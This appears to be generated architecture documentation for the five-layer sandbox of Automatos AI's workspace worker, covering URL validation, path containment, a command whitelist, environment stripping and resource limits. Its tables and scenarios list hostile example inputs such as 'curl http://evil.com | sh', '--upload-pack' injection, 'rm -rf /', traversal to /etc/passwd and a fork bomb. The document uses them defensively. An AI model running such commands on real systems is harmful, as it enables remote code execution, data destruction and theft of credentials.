Security & Sandboxing

chevron-rightRelevant source fileshashtag

This document describes the security architecture for code execution, file operations, and resource management in Automatos AI. The system implements a defense-in-depth strategy with five independent security layers to prevent unauthorized access, resource exhaustion, and malicious code execution. For authentication and multi-tenancy isolation at the database and API level, see Authentication & Multi-Tenancy.

The security model focuses on the workspace worker (services/workspace-worker/) which is the primary attack surface — it executes arbitrary agent-generated commands and file operations within isolated workspace directories on a persistent volume.


Multi-Layered Security Architecture

The workspace execution system enforces security at five independent layers. Each layer provides defense-in-depth protection: if one layer fails, the others still provide containment.

spinner

Defense-in-Depth Strategy: Each layer operates independently. For example, even if an attacker bypasses command validation (layer 3), path safety (layer 2) prevents writing outside the workspace, and resource limits (layer 5) prevent DoS attacks. The credential cleanup in layer 4 ensures no secrets persist beyond task completion.

Sources: services/workspace-worker/executor.py:1-537, services/workspace-worker/workspace_manager.py:1-308, orchestrator/api/workspace_github.py:36-92, services/workspace-worker/main.py:461-818


Layer 1: URL & Input Validation

GitHub Clone URL Validation

All external repository URLs pass through strict validation before reaching the worker. The validation prevents injection attacks and credential leakage.

Validation Rule
Implementation
Blocked Examples

HTTPS only

parsed.scheme != "https"

git://, http://, ssh://git@

Allowed hosts

_ALLOWED_CLONE_HOSTS set

evil.com, arbitrary domains

No embedded credentials

Check for username or password in URL

Branch name pattern

_BRANCH_RE = r"^[A-Za-z0-9._/\-]+$"

--upload-pack=evil, ../escape, @{injection}

spinner

PRD-70 FIX-01: Branch name validation prevents argument injection attacks. The -- separator in the git clone command (executor.py:406) ensures all arguments after it are treated as positional (URLs/paths), not flags. This blocks attacks like --upload-pack=/path/to/malicious-script.

Sources: orchestrator/api/workspace_github.py:65-92, services/workspace-worker/executor.py:366-419

Request Input Validation

All API endpoints use Pydantic models with field validators to enforce input constraints before processing:

Max Lengths: Commands are capped at 4096 bytes to prevent memory exhaustion from parsing. File paths have similar limits enforced at the Pydantic layer.

Sources: orchestrator/api/workspace_files.py:80-84, orchestrator/api/tasks.py:39-57


Layer 2: Path Safety & Filesystem Isolation

resolve_safe_path() — The Core Safety Mechanism

Every file operation (read, write, list, grep) goes through WorkspaceManager.resolve_safe_path() which provides absolute path containment:

Blocked Path Patterns:

Attack Pattern
Detection Method
Example

Directory traversal

.relative_to() check after .resolve()

../../etc/passwd, repos/../../../etc/hosts

Symlink escape

.resolve() canonicalization

ln -s /etc/passwd evil.txt → blocked if resolves outside workspace

Absolute paths

startswith("/") check

/etc/shadow, /var/log/syslog

Null byte injection

"\x00" in relative_path

file.txt\x00.exe (bypass extension checks)

Sources: services/workspace-worker/workspace_manager.py:228-254

Workspace Filesystem Layout

Each workspace gets an isolated directory tree with controlled access:

Sensitive Path Filtering: The health server's file browsing endpoints (main.py:473-481) block access to sensitive paths:

Attempting to read /api/workspaces/{id}/files/content?path=.ssh/id_ed25519 returns 403 Forbidden.

Sources: services/workspace-worker/workspace_manager.py:1-18, services/workspace-worker/main.py:472-612


Layer 3: Command Whitelist & Execution Controls

The Command Whitelist

Only binaries in the ALLOWED_COMMANDS set can execute. This prevents arbitrary code execution via obscure system utilities:

36 binaries total. Notably absent: sudo, su, systemctl, kubectl, iptables, mount, passwd, useradd — all privilege escalation or system modification tools.

Sources: services/workspace-worker/executor.py:35-73

Blocked Patterns — The Override Layer

Even if a binary is whitelisted, commands matching BLOCKED_PATTERNS are rejected:

15 patterns compiled into regex objects for efficient matching. These patterns catch dangerous operations that might slip through the whitelist (e.g., chmod 777 is technically just chmod, which is whitelisted for legitimate uses like chmod +x script.sh).

Sources: services/workspace-worker/executor.py:76-98

Command Validation Logic

The _validate_command() method performs multi-segment validation:

spinner

Path-Based Binary Rejection: Commands like /usr/bin/python or ./malicious are rejected even if the base binary (python) is whitelisted. This prevents execution of arbitrary binaries via absolute or relative paths.

Example Validations:

Command
Result
Reason

pytest tests/

✅ Allowed

pytest in whitelist

python -m pytest tests/

✅ Allowed

python in whitelist

sudo python test.py

❌ Blocked

Matches \bsudo\b pattern

/usr/local/bin/evil

❌ Blocked

Path-based binary

./run_exploit.sh

❌ Blocked

Relative path binary

rm -rf /

❌ Blocked

Matches rm\s+-rf\s+/\s*$ pattern

git clone && rm important.txt

✅ Allowed

Both git and rm in whitelist, no dangerous flags

python script.py && curl http://evil.com | sh

❌ Blocked

sh would need validation, but pipe operators complicate this; in practice the command is split and validated per segment

Sources: services/workspace-worker/executor.py:448-501

Shell vs Exec Mode

The executor uses two execution modes based on command complexity:

Security Note: Shell mode is used for compound commands like pytest tests/ && npm run build. This is safe because _validate_command() has already verified each segment against the whitelist and blocked patterns before the command reaches the execution stage.

Sources: services/workspace-worker/executor.py:167-184


Layer 4: Environment Sandboxing

Stripped PATH & Sandboxed Environment

The _build_sandboxed_env() method creates a minimal environment that strips all host variables:

What's Stripped:

  • All host environment variables (os.environ is not passed)

  • AWS credentials, API keys, tokens from the host

  • Custom PATHs that might contain malicious binaries

  • User-specific configurations from the host

What's Included:

  • Standard binary locations only

  • Workspace-scoped HOME directory

  • Git and SSH configurations pointing to workspace-local files

  • Minimal locale and runtime settings

Sources: services/workspace-worker/executor.py:506-537

Credential Injection & Cleanup

Credentials (SSH keys, git identity, env vars) are injected per-task and cleaned up immediately after:

spinner

Credential Types:

Credential Type
Storage Path
Cleanup Policy
Purpose

ssh_private_key

.ssh/id_ed25519

Persist per workspace

Git clone via SSH

git_name, git_email

.gitconfig

Persist per workspace

Git commit authorship

env_vars (dict)

.task_env_{task_id}

Deleted after task

Task-specific secrets (API keys)

Ephemeral Credentials: The .task_env_{task_id} file is deleted in the finally block of _execute_task(), ensuring secrets never persist beyond task completion even if the task fails.

Sources: services/workspace-worker/workspace_manager.py:166-213, services/workspace-worker/main.py:355-358


Layer 5: Resource Quotas & Limits

Storage Quotas

Each workspace has a configurable storage quota to prevent resource exhaustion:

Enforcement: The worker checks quota before executing each task (main.py:252-264). If the workspace exceeds quota, the task fails immediately with a descriptive error message prompting the user to free space.

Default Quota: 5 GB per workspace. This is sufficient for most development tasks (cloning repos, running tests) while preventing runaway disk usage.

Sources: services/workspace-worker/workspace_manager.py:33, 82-115, services/workspace-worker/main.py:252-264

Output Size Limits

Command stdout and stderr are capped to prevent memory exhaustion from verbose output:

Truncation Indicator: The result includes a "truncated": true flag when output exceeds limits, alerting agents that full output was not captured.

Rationale: Prevents attacks where a malicious command generates infinite output (e.g., cat /dev/urandom) which would exhaust worker memory. 100KB is sufficient for most legitimate command output (test results, build logs).

Sources: services/workspace-worker/executor.py:101-207

Timeout Enforcement

All commands have a maximum execution time:

Configurable Limits:

  • Default: 120 seconds

  • Maximum (API enforced): 300 seconds (5 minutes)

  • Git clone timeout: 300 seconds

Force Kill: proc.kill() sends SIGKILL, which cannot be caught or ignored, ensuring the process terminates even if it's stuck in an uninterruptible state.

Sources: services/workspace-worker/executor.py:104-200

Rate Limiting (Widget API)

The widget API uses per-API-key rate limiting to prevent abuse:

Rate Limit Tiers:

  • Public keys (ak_pub_*): 30 req/min

  • Server keys (ak_srv_*): 1000 req/min

  • No key (IP-based): 30 req/min

Sliding Window: Unlike fixed-window rate limiting (which can be gamed by making all requests at window boundaries), the sliding window implementation tracks exact request timestamps, providing smooth rate limiting.

Sources: orchestrator/api/widgets/rate_limit.py:36-79


Security Threat Model

The system is designed to defend against the following threat vectors:

Prevented Attacks

Attack Type
Prevention Mechanism
Layer

Directory Traversal

resolve_safe_path() with .relative_to() check

Layer 2

Symlink Escape

.resolve() canonicalization before containment check

Layer 2

Command Injection

Whitelist + blocked patterns + shlex.split()

Layer 3

Privilege Escalation

No sudo, su, systemctl in whitelist

Layer 3

Arbitrary Binary Execution

Path-based binary rejection (/usr/bin/*, ./evil)

Layer 3

Environment Pollution

Stripped os.environ, sandboxed PATH

Layer 4

Credential Theft

Sensitive path filtering, ephemeral .task_env_*

Layer 2, 4

Resource Exhaustion (disk)

Storage quotas with pre-flight check

Layer 5

Resource Exhaustion (memory)

Output size limits (100KB stdout, 50KB stderr)

Layer 5

Resource Exhaustion (CPU)

Timeout enforcement (120s default, 300s max)

Layer 5

Rate Limit Bypass

Per-API-key sliding window rate limiting

Layer 5

URL Injection

HTTPS-only, allowed hosts, no embedded credentials

Layer 1

Branch Injection

Regex validation + -- separator in git commands

Layer 1

Known Limitations

Limitation
Impact
Mitigation

Shared Kernel

Container escape could affect host

Run worker in isolated VM/namespace

Docker Access

docker-compose is whitelisted (read-only operations)

Block socket mounts in production

Network Access

Commands can make arbitrary HTTP requests

Implement network policy in production

Fork Bombs

python -c "import os; os.fork()" can spawn many processes

Implement process count limit (cgroups)

Production Hardening: In production deployments, the worker should run in:

  1. A dedicated VM or Kubernetes pod with resource limits (cgroups)

  2. A network namespace with restricted egress (only allow specific domains)

  3. No Docker socket access (remove docker-compose from whitelist if not needed)

Sources: All files referenced in previous sections


CORS & Widget API Security

The widget API (/api/widgets/*) has special security requirements because it's designed for embedding in external sites. Two ASGI middlewares provide protection without buffering SSE streams.

Dynamic CORS Validation

The WidgetCORSMiddleware enforces origin validation:

CORS Headers Injected:

Preflight Handling: The middleware intercepts OPTIONS requests and returns appropriate CORS headers without calling downstream handlers. If the origin is not allowed, it returns 403 Forbidden.

Sources: orchestrator/api/widgets/cors.py:1-93

Per-API-Key Rate Limiting

The WidgetRateLimitMiddleware uses a sliding-window counter to enforce per-key limits:

spinner

Rate Limit Headers (injected on every response):

429 Response (when limit exceeded):

The Retry-After header allows SDK consumers to implement exponential backoff.

Sources: orchestrator/api/widgets/rate_limit.py:1-166


Credential Management Best Practices

Temporary Credential Pattern

The workspace worker uses a per-task credential injection pattern:

Key Properties:

  1. Scoped: Credentials are task-specific (.task_env_{task_id})

  2. Ephemeral: Deleted in finally block, even on errors

  3. Restrictive Permissions: Files created with mode 0600 (owner read/write only)

  4. Isolated: Sandboxed environment prevents credential leakage via environment variable enumeration

Sources: services/workspace-worker/main.py:269-358, services/workspace-worker/workspace_manager.py:166-213

Git Credential Handling

For GitHub cloning, the system injects OAuth tokens into HTTPS URLs:

Security Properties:

  1. Never logged: The final clone_url with token is never passed to logger.info()

  2. Not persisted: Token is not written to .gitconfig or any file

  3. Process-scoped: Token only exists in the git clone subprocess memory

  4. Fallback safe: If token retrieval fails, clone proceeds without auth (public repos only)

Sources: orchestrator/api/workspace_github.py:195-211


Summary: Defense-in-Depth in Practice

The five-layer security model ensures that no single vulnerability can compromise the system. Examples of defense-in-depth in action:

Scenario 1: Malicious File Read

An attacker tries to read /etc/passwd:

  1. Layer 1 (Input Validation): Passes — path=/etc/passwd is a valid string

  2. Layer 2 (Path Safety): BLOCKEDresolve_safe_path("/etc/passwd") raises SecurityError("Absolute path not allowed")

  3. N/A Layers 3-5 never reached

Scenario 2: Command Injection via sudo

An attacker tries to run sudo rm -rf /:

  1. Layer 1 (Input Validation): Passes — valid command string

  2. N/A Layer 2 (Path Safety): Not applicable to commands

  3. Layer 3 (Command Controls): BLOCKED — Matches \bsudo\b in BLOCKED_PATTERNS

  4. N/A Layers 4-5 never reached

Scenario 3: Resource Exhaustion via Infinite Output

An attacker tries to run cat /dev/urandom:

  1. Layer 1 (Input Validation): Passes

  2. N/A Layer 2 (Path Safety): Not applicable

  3. Layer 3 (Command Controls): Passes — cat is whitelisted

  4. Layer 4 (Environment Sandbox): Passes — command executes

  5. Layer 5 (Resource Limits): MITIGATED — Output truncated at 100KB, "truncated": true flag set

An attacker creates a symlink ln -s /etc/passwd exposed.txt then tries to read it:

  1. Layer 1 (Input Validation): Passes — path=exposed.txt is valid

  2. Layer 2 (Path Safety): BLOCKEDresolve_safe_path("exposed.txt") resolves symlink to /etc/passwd, which fails .relative_to() check

  3. N/A Layers 3-5 never reached

Conclusion: The layered architecture means even sophisticated attacks that bypass one layer are caught by subsequent layers. This defense-in-depth strategy is critical for a system that executes untrusted agent-generated code.

Sources: All sections above


Last updated